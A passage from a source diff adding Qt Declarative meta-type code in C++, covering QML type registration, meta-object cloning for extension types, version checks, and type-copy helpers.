+ if (iter == d->m_attachedPropertyIds.end())
+ iter = d->m_attachedPropertyIds.insert(d->m_baseMetaObject, index);
+ d->m_attachedPropertiesId = *iter;
+ } else {
+ d->m_attachedPropertiesId = -1;
+ }
+ d->m_parserStatusCast = type.parserStatusCast;
+ d->m_propertyValueSourceCast = type.valueSourceCast;
+ d->m_propertyValueInterceptorCast = type.valueInterceptorCast;
+ d->m_extFunc = type.extensionObjectCreate;
+ d->m_index = index;
+ d->m_customParser = type.customParser;
+
+ if (type.extensionMetaObject)
+ d->m_extMetaObject = type.extensionMetaObject;
+}
+
+QDeclarativeType::~QDeclarativeType()
+{
+ delete d->m_customParser;
+ delete d;
+}
+
+QByteArray QDeclarativeType::module() const
+{
+ return d->m_module;
+}
+
+int QDeclarativeType::majorVersion() const
+{
+ return d->m_version_maj;
+}
+
+int QDeclarativeType::minorVersion() const
+{
+ return d->m_version_min;
+}
+
+bool QDeclarativeType::availableInVersion(int vmajor, int vminor) const
+{
+ return vmajor > d->m_version_maj || (vmajor == d->m_version_maj && vminor >= d->m_version_min);
+}
+
+bool QDeclarativeType::availableInVersion(const QByteArray &module, int vmajor, int vminor) const
+{
+ return module == d->m_module && (vmajor > d->m_version_maj || (vmajor == d->m_version_maj && vminor >= d->m_version_min));
+}
+
+// returns the nearest _registered_ super class
+QDeclarativeType *QDeclarativeType::superType() const
+{
+ if (!d->m_haveSuperType) {
+ const QMetaObject *mo = d->m_baseMetaObject->superClass();
+ while (mo && !d->m_superType) {
+ d->m_superType = QDeclarativeMetaType::qmlType(mo, d->m_module, d->m_version_maj, d->m_version_min);
+ mo = mo->superClass();
+ }
+ d->m_haveSuperType = true;
+ }
+
+ return d->m_superType;
+}
+
+static void clone(QMetaObjectBuilder &builder, const QMetaObject *mo,
+ const QMetaObject *ignoreStart, const QMetaObject *ignoreEnd)
+{
+ // Clone Q_CLASSINFO
+ for (int ii = mo->classInfoOffset(); ii < mo->classInfoCount(); ++ii) {
+ QMetaClassInfo info = mo->classInfo(ii);
+
+ int otherIndex = ignoreEnd->indexOfClassInfo(info.name());
+ if (otherIndex >= ignoreStart->classInfoOffset() + ignoreStart->classInfoCount()) {
+ // Skip
+ } else {
+ builder.addClassInfo(info.name(), info.value());
+ }
+ }
+
+ // Clone Q_PROPERTY
+ for (int ii = mo->propertyOffset(); ii < mo->propertyCount(); ++ii) {
+ QMetaProperty property = mo->property(ii);
+
+ int otherIndex = ignoreEnd->indexOfProperty(property.name());
+ if (otherIndex >= ignoreStart->propertyOffset() + ignoreStart->propertyCount()) {
+ builder.addProperty(QByteArray("__qml_ignore__") + property.name(), QByteArray("void"));
+ // Skip
+ } else {
+ builder.addProperty(property);
+ }
+ }
+
+ // Clone Q_METHODS
+ for (int ii = mo->methodOffset(); ii < mo->methodCount(); ++ii) {
+ QMetaMethod method = mo->method(ii);
+
+ // More complex - need to search name
+ QByteArray name = method.signature();
+ int parenIdx = name.indexOf('(');
+ if (parenIdx != -1) name = name.left(parenIdx);
+
+
+ bool found = false;
+
+ for (int ii = ignoreStart->methodOffset() + ignoreStart->methodCount();
+ !found && ii < ignoreEnd->methodOffset() + ignoreEnd->methodCount();
+ ++ii) {
+
+ QMetaMethod other = ignoreEnd->method(ii);
+ QByteArray othername = other.signature();
+ int parenIdx = othername.indexOf('(');
+ if (parenIdx != -1) othername = othername.left(parenIdx);
+
+ found = name == othername;
+ }
+
+ QMetaMethodBuilder m = builder.addMethod(method);
+ if (found) // SKIP
+ m.setAccess(QMetaMethod::Private);
+ }
+
+ // Clone Q_ENUMS
+ for (int ii = mo->enumeratorOffset(); ii < mo->enumeratorCount(); ++ii) {
+ QMetaEnum enumerator = mo->enumerator(ii);
+
+ int otherIndex = ignoreEnd->indexOfEnumerator(enumerator.name());
+ if (otherIndex >= ignoreStart->enumeratorOffset() + ignoreStart->enumeratorCount()) {
+ // Skip
+ } else {
+ builder.addEnumerator(enumerator);
+ }
+ }
+}
+
+void QDeclarativeTypePrivate::init() const
+{
+ if (m_isSetup) return;
+
+ QWriteLocker lock(metaTypeDataLock());
+ if (m_isSetup)
+ return;
+
+ // Setup extended meta object
+ // XXX - very inefficient
+ const QMetaObject *mo = m_baseMetaObject;
+ if (m_extFunc) {
+ QMetaObject *mmo = new QMetaObject;
+ *mmo = *m_extMetaObject;
+ mmo->d.superdata = mo;
+ QDeclarativeProxyMetaObject::ProxyData data = { mmo, m_extFunc, 0, 0 };
+ m_metaObjects << data;
+ }
+
+ mo = mo->d.superdata;
+ while(mo) {
+ QDeclarativeType *t = metaTypeData()->metaObjectToType.value(mo);
+ if (t) {
+ if (t->d->m_extFunc) {
+ QMetaObjectBuilder builder;
+ clone(builder, t->d->m_extMetaObject, t->d->m_baseMetaObject, m_baseMetaObject);
+ QMetaObject *mmo = builder.toMetaObject();
+ mmo->d.superdata = m_baseMetaObject;
+ if (!m_metaObjects.isEmpty())
+ m_metaObjects.last().metaObject->d.superdata = mmo;
+ QDeclarativeProxyMetaObject::ProxyData data = { mmo, t->d->m_extFunc, 0, 0 };
+ m_metaObjects << data;
+ }
+ }
+ mo = mo->d.superdata;
+ }
+
+ for (int ii = 0; ii < m_metaObjects.count(); ++ii) {
+ m_metaObjects[ii].propertyOffset =
+ m_metaObjects.at(ii).metaObject->propertyOffset();
+ m_metaObjects[ii].methodOffset =
+ m_metaObjects.at(ii).metaObject->methodOffset();
+ }
+
+ // Check for revisioned details
+ {
+ const QMetaObject *mo = 0;
+ if (m_metaObjects.isEmpty())
+ mo = m_baseMetaObject;
+ else
+ mo = m_metaObjects.first().metaObject;
+
+ for (int ii = 0; !m_containsRevisionedAttributes && ii < mo->propertyCount(); ++ii) {
+ if (mo->property(ii).revision() != 0)
+ m_containsRevisionedAttributes = true;
+ }
+
+ for (int ii = 0; !m_containsRevisionedAttributes && ii < mo->methodCount(); ++ii) {
+ if (mo->method(ii).revision() != 0)
+ m_containsRevisionedAttributes = true;
+ }
+ }
+
+ m_isSetup = true;
+ lock.unlock();
+}
+
+QByteArray QDeclarativeType::typeName() const
+{
+ if (d->m_baseMetaObject)
+ return d->m_baseMetaObject->className();
+ else
+ return QByteArray();
+}
+
+QByteArray QDeclarativeType::qmlTypeName() const
+{
+ return d->m_name;
+}
+
+QObject *QDeclarativeType::create() const
+{
+ d->init();
+
+ QObject *rv = (QObject *)operator new(d->m_allocationSize);
+ d->m_newFunc(rv);
+
+ if (rv && !d->m_metaObjects.isEmpty())
+ (void *)new QDeclarativeProxyMetaObject(rv, &d->m_metaObjects);
+
+ return rv;
+}
+
+void QDeclarativeType::create(QObject **out, void **memory, size_t additionalMemory) const
+{
+ d->init();
+
+ QObject *rv = (QObject *)operator new(d->m_allocationSize + additionalMemory);
+ d->m_newFunc(rv);
+
+ if (rv && !d->m_metaObjects.isEmpty())
+ (void *)new QDeclarativeProxyMetaObject(rv, &d->m_metaObjects);
+
+ *out = rv;
+ *memory = ((char *)rv) + d->m_allocationSize;
+}
+
+QDeclarativeCustomParser *QDeclarativeType::customParser() const
+{
+ return d->m_customParser;
+}
+
+QDeclarativeType::CreateFunc QDeclarativeType::createFunction() const
+{
+ return d->m_newFunc;
+}
+
+QString QDeclarativeType::noCreationReason() const
+{
+ return d->m_noCreationReason;
+}
+
+int QDeclarativeType::createSize() const
+{
+ return d->m_allocationSize;
+}
+
+bool QDeclarativeType::isCreatable() const
+{
+ return d->m_newFunc != 0;
+}
+
+bool QDeclarativeType::isExtendedType() const
+{
+ d->init();
+
+ return !d->m_metaObjects.isEmpty();
+}
+
+bool QDeclarativeType::isInterface() const
+{
+ return d->m_isInterface;
+}
+
+int QDeclarativeType::typeId() const
+{
+ return d->m_typeId;
+}
+
+int QDeclarativeType::qListTypeId() const
+{
+ return d->m_listId;
+}
+
+const QMetaObject *QDeclarativeType::metaObject() const
+{
+ d->init();
+
+ if (d->m_metaObjects.isEmpty())
+ return d->m_baseMetaObject;
+ else
+ return d->m_metaObjects.first().metaObject;
+
+}
+
+const QMetaObject *QDeclarativeType::baseMetaObject() const
+{
+ return d->m_baseMetaObject;
+}
+
+bool QDeclarativeType::containsRevisionedAttributes() const
+{
+ d->init();
+
+ return d->m_containsRevisionedAttributes;
+}
+
+int QDeclarativeType::metaObjectRevision() const
+{
+ return d->m_revision;
+}
+
+QDeclarativeAttachedPropertiesFunc QDeclarativeType::attachedPropertiesFunction() const
+{
+ return d->m_attachedPropertiesFunc;
+}
+
+const QMetaObject *QDeclarativeType::attachedPropertiesType() const
+{
+ return d->m_attachedPropertiesType;
+}
+
+/*
+This is the id passed to qmlAttachedPropertiesById(). This is different from the index
+for the case that a single class is registered under two or more names (eg. Item in
+Qt 4.7 and QtQuick 1.0).
+*/
+int QDeclarativeType::attachedPropertiesId() const
+{
+ return d->m_attachedPropertiesId;
+}
+
+int QDeclarativeType::parserStatusCast() const
+{
+ return d->m_parserStatusCast;
+}
+
+int QDeclarativeType::propertyValueSourceCast() const
+{
+ return d->m_propertyValueSourceCast;
+}
+
+int QDeclarativeType::propertyValueInterceptorCast() const
+{
+ return d->m_propertyValueInterceptorCast;
+}
+
+const char *QDeclarativeType::interfaceIId() const
+{
+ return d->m_iid;
+}
+
+int QDeclarativeType::index() const
+{
+ return d->m_index;
+}
+
+int registerAutoParentFunction(QDeclarativePrivate::RegisterAutoParent &autoparent)
+{
+ QWriteLocker lock(metaTypeDataLock());
+ QDeclarativeMetaTypeData *data = metaTypeData();
+
+ data->parentFunctions.append(autoparent.function);
+
+ return data->parentFunctions.count() - 1;
+}
+
+int registerInterface(const QDeclarativePrivate::RegisterInterface &interface)
+{
+ if (interface.version > 0)
+ qFatal("qmlRegisterType(): Cannot mix incompatible QML versions.");
+
+ QWriteLocker lock(metaTypeDataLock());
+ QDeclarativeMetaTypeData *data = metaTypeData();
+
+ int index = data->types.count();
+
+ QDeclarativeType *type = new QDeclarativeType(index, interface);
+
+ data->types.append(type);
+ data->idToType.insert(type->typeId(), type);
+ data->idToType.insert(type->qListTypeId(), type);
+ // XXX No insertMulti, so no multi-version interfaces?
+ if (!type->qmlTypeName().isEmpty())
+ data->nameToType.insert(type->qmlTypeName(), type);
+
+ if (data->interfaces.size() <= interface.typeId)
+ data->interfaces.resize(interface.typeId + 16);
+ if (data->lists.size() <= interface.listId)
+ data->lists.resize(interface.listId + 16);
+ data->interfaces.setBit(interface.typeId, true);
+ data->lists.setBit(interface.listId, true);
+
+ return index;
+}
+
+int registerType(const QDeclarativePrivate::RegisterType &type)
+{
+ if (type.elementName) {
+ for (int ii = 0; type.elementName[ii]; ++ii) {
+ if (!isalnum(type.elementName[ii])) {
+ qWarning("qmlRegisterType(): Invalid QML element name \"%s\"", type.elementName);
+ return -1;
+ }
+ }
+ }
+
+ QWriteLocker lock(metaTypeDataLock());
+ QDeclarativeMetaTypeData *data = metaTypeData();
+ int index = data->types.count();
+
+ QDeclarativeType *dtype = new QDeclarativeType(index, type);
+
+ data->types.append(dtype);
+ data->idToType.insert(dtype->typeId(), dtype);
+ if (dtype->qListTypeId()) data->idToType.insert(dtype->qListTypeId(), dtype);
+
+ if (!dtype->qmlTypeName().isEmpty())
+ data->nameToType.insertMulti(dtype->qmlTypeName(), dtype);
+
+ data->metaObjectToType.insertMulti(dtype->baseMetaObject(), dtype);
+
+ if (data->objects.size() <= type.typeId)
+ data->objects.resize(type.typeId + 16);
+ if (data->lists.size() <= type.listId)
+ data->lists.resize(type.listId + 16);
+ data->objects.setBit(type.typeId, true);
+ if (type.listId) data->lists.setBit(type.listId, true);
+
+ if (type.uri) {
+ QByteArray mod(type.uri);
+ QDeclarativeMetaTypeData::ModuleInfoHash::Iterator it = data->modules.find(mod);
+ if (it == data->modules.end()) {
+ // New module
+ data->modules.insert(mod, QDeclarativeMetaTypeData::ModuleInfo(type.versionMajor,type.versionMinor));
+ } else if ((*it).vmajor_max < type.versionMajor || ((*it).vmajor_max == type.versionMajor && (*it).vminor_max < type.versionMinor)) {
+ // Newer module
+ data->modules.insert(mod, QDeclarativeMetaTypeData::ModuleInfo((*it).vmajor_min, (*it).vminor_min, type.versionMajor, type.versionMinor));
+ } else if ((*it).vmajor_min > type.versionMajor || ((*it).vmajor_min == type.versionMajor && (*it).vminor_min > type.versionMinor)) {
+ // Older module
+ data->modules.insert(mod, QDeclarativeMetaTypeData::ModuleInfo(type.versionMajor, type.versionMinor, (*it).vmajor_min, (*it).vminor_min));
+ }
+ }
+
+ return index;
+}
+
+/*
+This method is "over generalized" to allow us to (potentially) register more types of things in
+the future without adding exported symbols.
+*/
+int QDeclarativePrivate::qmlregister(RegistrationType type, void *data)
+{
+ if (type == TypeRegistration) {
+ return registerType(*reinterpret_cast<RegisterType *>(data));
+ } else if (type == InterfaceRegistration) {
+ return registerInterface(*reinterpret_cast<RegisterInterface *>(data));
+ } else if (type == AutoParentRegistration) {
+ return registerAutoParentFunction(*reinterpret_cast<RegisterAutoParent *>(data));
+ }
+ return -1;
+}
+
+/*
+ Have any types been registered for \a module with at least versionMajor.versionMinor, and types
+ for \a module with at most versionMajor.versionMinor.
+
+ So if only 4.7 and 4.9 have been registered, 4.7,4.8, and 4.9 are valid, but not 4.6 nor 4.10.
+
+ Passing -1 for both \a versionMajor \a versionMinor will return true if any version is installed.
+*/
+bool QDeclarativeMetaType::isModule(const QByteArray &module, int versionMajor, int versionMinor)
+{
+ QDeclarativeMetaTypeData *data = metaTypeData();
+ QDeclarativeMetaTypeData::ModuleInfoHash::Iterator it = data->modules.find(module);
+ return it != data->modules.end()
+ && ((versionMajor<0 && versionMinor<0) ||
+ (((*it).vmajor_max > versionMajor ||
+ ((*it).vmajor_max == versionMajor && (*it).vminor_max >= versionMinor))
+ && ((*it).vmajor_min < versionMajor ||
+ ((*it).vmajor_min == versionMajor && (*it).vminor_min <= versionMinor))));
+}
+
+QList<QDeclarativePrivate::AutoParentFunction> QDeclarativeMetaType::parentFunctions()
+{
+ QReadLocker lock(metaTypeDataLock());
+ QDeclarativeMetaTypeData *data = metaTypeData();
+ return data->parentFunctions;
+}
+
+QObject *QDeclarativeMetaType::toQObject(const QVariant &v, bool *ok)
+{
+ if (!isQObject(v.userType())) {
+ if (ok) *ok = false;
+ return 0;
+ }
+
+ if (ok) *ok = true;
+
+ return *(QObject **)v.constData();
+}
+
+bool QDeclarativeMetaType::isQObject(int userType)
+{
+ if (userType == QMetaType::QObjectStar)
+ return true;
+
+ QReadLocker lock(metaTypeDataLock());
+ QDeclarativeMetaTypeData *data = metaTypeData();
+ return userType >= 0 && userType < data->objects.size() && data->objects.testBit(userType);
+}
+
+/*
+ Returns the item type for a list of type \a id.
+ */
+int QDeclarativeMetaType::listType(int id)
+{
+ QReadLocker lock(metaTypeDataLock());
+ QDeclarativeMetaTypeData *data = metaTypeData();
+ QDeclarativeType *type = data->idToType.value(id);
+ if (type && type->qListTypeId() == id)
+ return type->typeId();
+ else
+ return 0;
+}
+
+int QDeclarativeMetaType::attachedPropertiesFuncId(const QMetaObject *mo)
+{
+ QReadLocker lock(metaTypeDataLock());
+ QDeclarativeMetaTypeData *data = metaTypeData();
+
+ QDeclarativeType *type = data->metaObjectToType.value(mo);
+ if (type && type->attachedPropertiesFunction())
+ return type->attachedPropertiesId();
+ else
+ return -1;
+}
+
+QDeclarativeAttachedPropertiesFunc QDeclarativeMetaType::attachedPropertiesFuncById(int id)
+{
+ if (id < 0)
+ return 0;
+ QReadLocker lock(metaTypeDataLock());
+ QDeclarativeMetaTypeData *data = metaTypeData();
+ return data->types.at(id)->attachedPropertiesFunction();
+}
+
+QMetaProperty QDeclarativeMetaType::defaultProperty(const QMetaObject *metaObject)
+{
+ int idx = metaObject->indexOfClassInfo("DefaultProperty");
+ if (-1 == idx)
+ return QMetaProperty();
+
+ QMetaClassInfo info = metaObject->classInfo(idx);
+ if (!info.value())
+ return QMetaProperty();
+
+ idx = metaObject->indexOfProperty(info.value());
+ if (-1 == idx)
+ return QMetaProperty();
+
+ return metaObject->property(idx);
+}
+
+QMetaProperty QDeclarativeMetaType::defaultProperty(QObject *obj)
+{
+ if (!obj)
+ return QMetaProperty();
+
+ const QMetaObject *metaObject = obj->metaObject();
+ return defaultProperty(metaObject);
+}
+
+QMetaMethod QDeclarativeMetaType::defaultMethod(const QMetaObject *metaObject)
+{
+ int idx = metaObject->indexOfClassInfo("DefaultMethod");
+ if (-1 == idx)
+ return QMetaMethod();
+
+ QMetaClassInfo info = metaObject->classInfo(idx);
+ if (!info.value())
+ return QMetaMethod();
+
+ idx = metaObject->indexOfMethod(info.value());
+ if (-1 == idx)
+ return QMetaMethod();
+
+ return metaObject->method(idx);
+}
+
+QMetaMethod QDeclarativeMetaType::defaultMethod(QObject *obj)
+{
+ if (!obj)
+ return QMetaMethod();
+
+ const QMetaObject *metaObject = obj->metaObject();
+ return defaultMethod(metaObject);
+}
+
+QDeclarativeMetaType::TypeCategory QDeclarativeMetaType::typeCategory(int userType)
+{
+ if (userType < 0)
+ return Unknown;
+ if (userType == QMetaType::QObjectStar)
+ return Object;
+
+ QReadLocker lock(metaTypeDataLock());
+ QDeclarativeMetaTypeData *data = metaTypeData();
+ if (userType < data->objects.size() && data->objects.testBit(userType))
+ return Object;
+ else if (userType < data->lists.size() && data->lists.testBit(userType))
+ return List;
+ else
+ return Unknown;
+}
+
+bool QDeclarativeMetaType::isInterface(int userType)
+{
+ QReadLocker lock(metaTypeDataLock());
+ QDeclarativeMetaTypeData *data = metaTypeData();
+ return userType >= 0 && userType < data->interfaces.size() && data->interfaces.testBit(userType);
+}
+
+const char *QDeclarativeMetaType::interfaceIId(int userType)
+{
+ QReadLocker lock(metaTypeDataLock());
+ QDeclarativeMetaTypeData *data = metaTypeData();
+ QDeclarativeType *type = data->idToType.value(userType);
+ lock.unlock();
+ if (type && type->isInterface() && type->typeId() == userType)
+ return type->interfaceIId();
+ else
+ return 0;
+}
+
+bool QDeclarativeMetaType::isList(int userType)
+{
+ QReadLocker lock(metaTypeDataLock());
+ QDeclarativeMetaTypeData *data = metaTypeData();
+ return userType >= 0 && userType < data->lists.size() && data->lists.testBit(userType);
+}
+
+/*!
+ A custom string convertor allows you to specify a function pointer that
+ returns a variant of \a type. For example, if you have written your own icon
+ class that you want to support as an object property assignable in QML:
+
+ \code
+ int type = qRegisterMetaType<SuperIcon>("SuperIcon");
+ QML::addCustomStringConvertor(type, &SuperIcon::pixmapFromString);
+ \endcode
+
+ The function pointer must be of the form:
+ \code
+ QVariant (*StringConverter)(const QString &);
+ \endcode
+ */
+void QDeclarativeMetaType::registerCustomStringConverter(int type, StringConverter converter)
+{
+ QWriteLocker lock(metaTypeDataLock());
+
+ QDeclarativeMetaTypeData *data = metaTypeData();
+ if (data->stringConverters.contains(type))
+ return;
+ data->stringConverters.insert(type, converter);
+}
+
+/*!
+ Return the custom string converter for \a type, previously installed through
+ registerCustomStringConverter()
+ */
+QDeclarativeMetaType::StringConverter QDeclarativeMetaType::customStringConverter(int type)
+{
+ QReadLocker lock(metaTypeDataLock());
+
+ QDeclarativeMetaTypeData *data = metaTypeData();
+ return data->stringConverters.value(type);
+}
+
+/*!
+ Returns the type (if any) of URI-qualified named \a name in version specified
+ by \a version_major and \a version_minor.
+*/
+QDeclarativeType *QDeclarativeMetaType::qmlType(const QByteArray &name, int version_major, int version_minor)
+{
+ QReadLocker lock(metaTypeDataLock());
+ QDeclarativeMetaTypeData *data = metaTypeData();
+
+ QList<QDeclarativeType*> types = data->nameToType.values(name);
+ foreach (QDeclarativeType *t, types) {
+ // XXX version_major<0 just a kludge for QDeclarativePropertyPrivate::initProperty
+ if (version_major<0 || t->availableInVersion(version_major,version_minor))
+ return t;
+ }
+ return 0;
+}
+
+/*!
+ Returns the type (if any) that corresponds to the \a metaObject. Returns null if no
+ type is registered.
+*/
+QDeclarativeType *QDeclarativeMetaType::qmlType(const QMetaObject *metaObject)
+{
+ QReadLocker lock(metaTypeDataLock());
+ QDeclarativeMetaTypeData *data = metaTypeData();
+
+ return data->metaObjectToType.value(metaObject);
+}
+
+/*!
+ Returns the type (if any) that corresponds to the \a metaObject in version specified
+ by \a version_major and \a version_minor in module specified by \a uri. Returns null if no
+ type is registered.
+*/
+QDeclarativeType *QDeclarativeMetaType::qmlType(const QMetaObject *metaObject, const QByteArray &module, int version_major, int version_minor)
+{
+ QReadLocker lock(metaTypeDataLock());
+ QDeclarativeMetaTypeData *data = metaTypeData();
+
+ QDeclarativeMetaTypeData::MetaObjects::const_iterator it = data->metaObjectToType.find(metaObject);
+ while (it != data->metaObjectToType.end() && it.key() == metaObject) {
+ QDeclarativeType *t = *it;
+ if (version_major < 0 || t->availableInVersion(module, version_major,version_minor))
+ return t;
+ ++it;
+ }
+
+ return 0;
+}
+
+/*!
+ Returns the type (if any) that corresponds to the QVariant::Type \a userType.
+ Returns null if no type is registered.
+*/
+QDeclarativeType *QDeclarativeMetaType::qmlType(int userType)
+{
+ QReadLocker lock(metaTypeDataLock());
+ QDeclarativeMetaTypeData *data = metaTypeData();
+
+ QDeclarativeType *type = data->idToType.value(userType);
+ if (type && type->typeId() == userType)
+ return type;
+ else
+ return 0;
+}
+
+/*!
+ Returns the list of registered QML type names.
+*/
+QList<QByteArray> QDeclarativeMetaType::qmlTypeNames()
+{
+ QReadLocker lock(metaTypeDataLock());
+ QDeclarativeMetaTypeData *data = metaTypeData();
+
+ return data->nameToType.keys();
+}
+
+/*!
+ Returns the list of registered QML types.
+*/
+QList<QDeclarativeType*> QDeclarativeMetaType::qmlTypes()
+{
+ QReadLocker lock(metaTypeDataLock());
+ QDeclarativeMetaTypeData *data = metaTypeData();
+
+ return data->nameToType.values();
+}
+
+QT_END_NAMESPACE
+
+#include <QtGui/qfont.h>
+#include <QtGui/qpixmap.h>
+#include <QtGui/qbrush.h>
+#include <QtGui/qcolor.h>
+#include <QtGui/qpalette.h>
+#include <QtGui/qicon.h>
+#include <QtGui/qimage.h>
+#include <QtGui/qpolygon.h>
+#include <QtGui/qregion.h>
+#include <QtGui/qbitmap.h>
+#include <QtGui/qcursor.h>
+#include <QtGui/qsizepolicy.h>
+#include <QtGui/qkeysequence.h>
+#include <QtGui/qpen.h>
+
+//#include <QtGui/qtextlength.h>
+#include <QtGui/qtextformat.h>
+#include <QtGui/qmatrix.h>
+#include <QtGui/qtransform.h>
+#include <QtGui/qmatrix4x4.h>
+#include <QtGui/qvector2d.h>
+#include <QtGui/qvector3d.h>
+#include <QtGui/qvector4d.h>
+#include <QtGui/qquaternion.h>
+
+Q_DECLARE_METATYPE(QScriptValue);
+
+QT_BEGIN_NAMESPACE
+
+bool QDeclarativeMetaType::canCopy(int type)
+{
+ switch(type) {
+ case QMetaType::VoidStar:
+ case QMetaType::QObjectStar:
+ case QMetaType::QWidgetStar:
+ case QMetaType::Long:
+ case QMetaType::Int:
+ case QMetaType::Short:
+ case QMetaType::Char:
+ case QMetaType::ULong:
+ case QMetaType::UInt:
+ case QMetaType::LongLong:
+ case QMetaType::ULongLong:
+ case QMetaType::UShort:
+ case QMetaType::UChar:
+ case QMetaType::Bool:
+ case QMetaType::Float:
+ case QMetaType::Double:
+ case QMetaType::QChar:
+ case QMetaType::QVariantMap:
+ case QMetaType::QVariantHash:
+ case QMetaType::QVariantList:
+ case QMetaType::QByteArray:
+ case QMetaType::QString:
+ case QMetaType::QStringList:
+ case QMetaType::QBitArray:
+ case QMetaType::QDate:
+ case QMetaType::QTime:
+ case QMetaType::QDateTime:
+ case QMetaType::QUrl:
+ case QMetaType::QLocale:
+ case QMetaType::QRect:
+ case QMetaType::QRectF:
+ case QMetaType::QSize:
+ case QMetaType::QSizeF:
+ case QMetaType::QLine:
+ case QMetaType::QLineF:
+ case QMetaType::QPoint:
+ case QMetaType::QPointF:
+ case QMetaType::QVector3D:
+#ifndef QT_NO_REGEXP
+ case QMetaType::QRegExp:
+#endif
+ case QMetaType::Void:
+#ifdef QT3_SUPPORT
+ case QMetaType::QColorGroup:
+#endif
+ case QMetaType::QFont:
+ case QMetaType::QPixmap:
+ case QMetaType::QBrush:
+ case QMetaType::QColor:
+ case QMetaType::QPalette:
+ case QMetaType::QIcon:
+ case QMetaType::QImage:
+ case QMetaType::QPolygon:
+ case QMetaType::QRegion:
+ case QMetaType::QBitmap:
+#ifndef QT_NO_CURSOR
+ case QMetaType::QCursor:
+#endif
+ case QMetaType::QSizePolicy:
+ case QMetaType::QKeySequence:
+ case QMetaType::QPen:
+ case QMetaType::QTextLength:
+ case QMetaType::QTextFormat:
+ case QMetaType::QMatrix:
+ case QMetaType::QTransform:
+ case QMetaType::QMatrix4x4:
+ case QMetaType::QVector2D:
+ case QMetaType::QVector4D:
+ case QMetaType::QQuaternion:
+ return true;
+
+ default:
+ if (type == qMetaTypeId<QVariant>() ||
+ type == qMetaTypeId<QScriptValue>() ||
+ typeCategory(type) != Unknown) {
+ return true;
+ }
+ break;
+ }
+
+ return false;
+}
+
+/*!
+ Copies \a copy into \a data, assuming they both are of type \a type. If
+ \a copy is zero, a default type is copied. Returns true if the copy was
+ successful and false if not.
+
+ \note This should move into QMetaType once complete
+
+*/
+bool QDeclarativeMetaType::copy(int type, void *data, const void *copy)
+{
+ if (copy) {
+ switch(type) {
+ case QMetaType::VoidStar:
+ case QMetaType::QObjectStar:
+ case QMetaType::QWidgetStar:
+ *static_cast<void **>(data) = *static_cast<void* const *>(copy);
+ return true;
+ case QMetaType::Long:
+ *static_cast<long *>(data) = *static_cast<const long*>(copy);
+ return true;
+ case QMetaType::Int:
+ *static_cast<int *>(data) = *static_cast<const int*>(copy);
+ return true;
+ case QMetaType::Short:
+ *static_cast<short *>(data) = *static_cast<const short*>(copy);
+ return true;
+ case QMetaType::Char:
+ *static_cast<char *>(data) = *static_cast<const char*>(copy);
+ return true;
+ case QMetaType::ULong:
+ *static_cast<ulong *>(data) = *static_cast<const ulong*>(copy);
+ return true;
+ case QMetaType::UInt:
+ *static_cast<uint *>(data) = *static_cast<const uint*>(copy);
+ return true;
+ case QMetaType::LongLong:
+ *static_cast<qlonglong *>(data) = *static_cast<const qlonglong*>(copy);
+ return true;
+ case QMetaType::ULongLong:
+ *static_cast<qulonglong *>(data) = *static_cast<const qulonglong*>(copy);
+ return true;
+ case QMetaType::UShort:
+ *static_cast<ushort *>(data) = *static_cast<const ushort*>(copy);
+ return true;
+ case QMetaType::UChar:
+ *static_cast<uchar *>(data) = *static_cast<const uchar*>(copy);
+ return true;
+ case QMetaType::Bool:
+ *static_cast<bool *>(data) = *static_cast<const bool*>(copy);
+ return true;
+ case QMetaType::Float:
+ *static_cast<float *>(data) = *static_cast<const float*>(copy);
+ return true;
+ case QMetaType::Double:
+ *static_cast<double *>(data) = *static_cast<const double*>(copy);
+ return true;
+ case QMetaType::QChar:
+ *static_cast<NS(QChar) *>(data) = *static_cast<const NS(QChar)*>(copy);
+ return true;
+ case QMetaType::QVariantMap:
+ *static_cast<NS(QVariantMap) *>(data) = *static_cast<const NS(QVariantMap)*>(copy);
+ return true;
+ case QMetaType::QVariantHash:
+ *static_cast<NS(QVariantHash) *>(data) = *static_cast<const NS(QVariantHash)*>(copy);
+ return true;
+ case QMetaType::QVariantList:
+ *static_cast<NS(QVariantList) *>(data) = *static_cast<const NS(QVariantList)*>(copy);
+ return true;
+ case QMetaType::QByteArray:
+ *static_cast<NS(QByteArray) *>(data) = *static_cast<const NS(QByteArray)*>(copy);
+ return true;
+ case QMetaType::QString:
+ *static_cast<NS(QString) *>(data) = *static_cast<const NS(QString)*>(copy);
+ return true;
+ case QMetaType::QStringList:
+ *static_cast<NS(QStringList) *>(data) = *static_cast<const NS(QStringList)*>(copy);
+ return true;
+ case QMetaType::QBitArray:
+ *static_cast<NS(QBitArray) *>(data) = *static_cast<const NS(QBitArray)*>(copy);
+ return true;
+ case QMetaType::QDate:
+ *static_cast<NS(QDate) *>(data) = *static_cast<const NS(QDate)*>(copy);
+ return true;
+ case QMetaType::QTime:
+ *static_cast<NS(QTime) *>(data) = *static_cast<const NS(QTime)*>(copy);
+ return true;
+ case QMetaType::QDateTime:
+ *static_cast<NS(QDateTime) *>(data) = *static_cast<const NS(QDateTime)*>(copy);
+ return true;
+ case QMetaType::QUrl:
+ *static_cast<NS(QUrl) *>(data) = *static_cast<const NS(QUrl)*>(copy);
+ return true;
+ case QMetaType::QLocale:
+ *static_cast<NS(QLocale) *>(data) = *static_cast<const NS(QLocale)*>(copy);
+ return true;
+ case QMetaType::QRect:
+ *static_cast<NS(QRect) *>(data) = *static_cast<const NS(QRect)*>(copy);
+ return true;
+ case QMetaType::QRectF:
+ *static_cast<NS(QRectF) *>(data) = *static_cast<const NS(QRectF)*>(copy);
+ return true;
+ case QMetaType::QSize:
+ *static_cast<NS(QSize) *>(data) = *static_cast<const NS(QSize)*>(copy);
+ return true;
+ case QMetaType::QSizeF:
+ *static_cast<NS(QSizeF) *>(data) = *static_cast<const NS(QSizeF)*>(copy);
+ return true;
+ case QMetaType::QLine:
+ *static_cast<NS(QLine) *>(data) = *static_cast<const NS(QLine)*>(copy);
+ return true;
+ case QMetaType::QLineF:
+ *static_cast<NS(QLineF) *>(data) = *static_cast<const NS(QLineF)*>(copy);
+ return true;
+ case QMetaType::QPoint:
+ *static_cast<NS(QPoint) *>(data) = *static_cast<const NS(QPoint)*>(copy);
+ return true;
+ case QMetaType::QPointF:
+ *static_cast<NS(QPointF) *>(data) = *static_cast<const NS(QPointF)*>(copy);
+ return true;
+ case QMetaType::QVector3D:
+ *static_cast<NS(QVector3D) *>(data) = *static_cast<const NS(QVector3D)*>(copy);
+ return true;
+#ifndef QT_NO_REGEXP
+ case QMetaType::QRegExp:
+ *static_cast<NS(QRegExp) *>(data) = *static_cast<const NS(QRegExp)*>(copy);
+ return true;
+#endif
